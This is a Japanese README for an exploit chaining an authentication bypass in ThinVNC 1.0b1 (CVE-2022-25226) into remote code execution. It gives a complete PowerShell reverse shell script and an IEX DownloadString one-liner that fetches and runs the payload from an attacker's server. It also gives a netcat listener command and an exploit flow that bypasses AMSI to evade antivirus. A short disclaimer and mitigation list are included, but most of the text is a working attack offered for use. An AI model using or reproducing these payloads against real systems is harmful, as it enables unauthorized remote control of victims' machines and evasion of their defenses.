ThinVNC 1.0b1 - 認証バイパスによるリモートコード実行 (CVE-2022-25226)

著者: krill-x7
参照: https://fluidattacks.com/advisories/sinatra

概要

ThinVNC 1.0b1 には認証バイパスの脆弱性 (CVE-2022-25226) が存在し、リモートの攻撃者が認証なしでバックエンドとやり取りできるようになります。公開された /cmd エンドポイントを悪用することで、攻撃者はキーストロークのシミュレーション、PowerShell の起動、AMSI のバイパス、任意のコマンドの実行が可能となり、最終的にリモートコード実行 (RCE) に至ります。

このスクリプトはこれらのプリミティブを連鎖させて、対象システム上でリバースシェルを獲得します。

免責事項

このコードは教育目的のみで提供されています。
自分が所有する、または明示的にテストを許可されたシステムでのみ使用してください。

要件

Python 3
攻撃者マシン上でホストするリバースシェルスクリプト rev.ps1
シェルを受け取るためのリスナー (例: Netcat)

使用方法

python3 thinvnc_rce.py -t <TARGET_IP> -tp <TARGET_PORT> -a <ATTACKER_IP> -ap <ATTACKER_PORT>

例

python3 thinvnc_rce.py -t 192.168.1.100 -tp 8080 -a 192.168.1.200 -ap 8000

ペイロードのセットアップ

1. `rev.ps1` を作成する

これを rev.ps1 という名前のファイルに保存します。
重要: 192.168.1.200 と 8000 を、攻撃者の IP と待受ポートに置き換えてください。

$client = New-Object System.Net.Sockets.TCPClient("192.168.1.200",8000);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
  $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
  $sendback = (iex $data 2>&1 | Out-String );
  $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
  $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
  $stream.Write($sendbyte,0,$sendbyte.Length);
  $stream.Flush()
}
$client.Close()

2. `rev.ps1` をホストする

同じディレクトリから実行します:

python3 -m http.server 8000

3. リスナーを起動する

nc -lvnp 8000

エクスプロイトの流れ

/cmd?cmd=connect への未認証リクエストを使用して、有効な SID を取得します。
/cmd?cmd=start を介して、キーボード/マウスアクセス付きでその SID を開始します。
Ctrl+Esc キーの組み合わせを送信して、スタートメニューを開きます。
バイパスモードで PowerShell を起動します。
AMSI をバイパスして、PowerShell の保護機能を無効化します。
HTTP サーバーからリバースシェルペイロードを実行します。

ペイロードの実行

これはメモリ内で実行されるペイロードです:

IEX((New-Object System.Net.WebClient).DownloadString('http://<ATTACKER_IP>:<PORT>/rev.ps1'))

<ATTACKER_IP> と <PORT> を、実際の IP とポートに置き換えてください。

注意事項

ペイロードは、クリップボードベースのコマンドインジェクションを使用して実行されます。
PowerShell ベースの AV 検出を回避するために、AMSI バイパスが含まれています。
ThinVNC は既定のユーザー権限で PowerShell を実行します。管理者として実行している場合は、シェルは昇格されます。

緩和策

ThinVNC をインターネットに公開しないでください。
Web サーバーの設定または WAF を介して /cmd エンドポイントをブロックしてください。
サポートされている安全な代替手段 (例: Apache Guacamole) に切り替えてください。
PowerShell の使用状況とクリップボードインジェクションの動作を監視してください。

クレジット

エクスプロイトと自動化: krill-x7
脆弱性の発見とアドバイザリ: Fluid Attacks – Advisory Sinatra

CVE-2022-25226

人気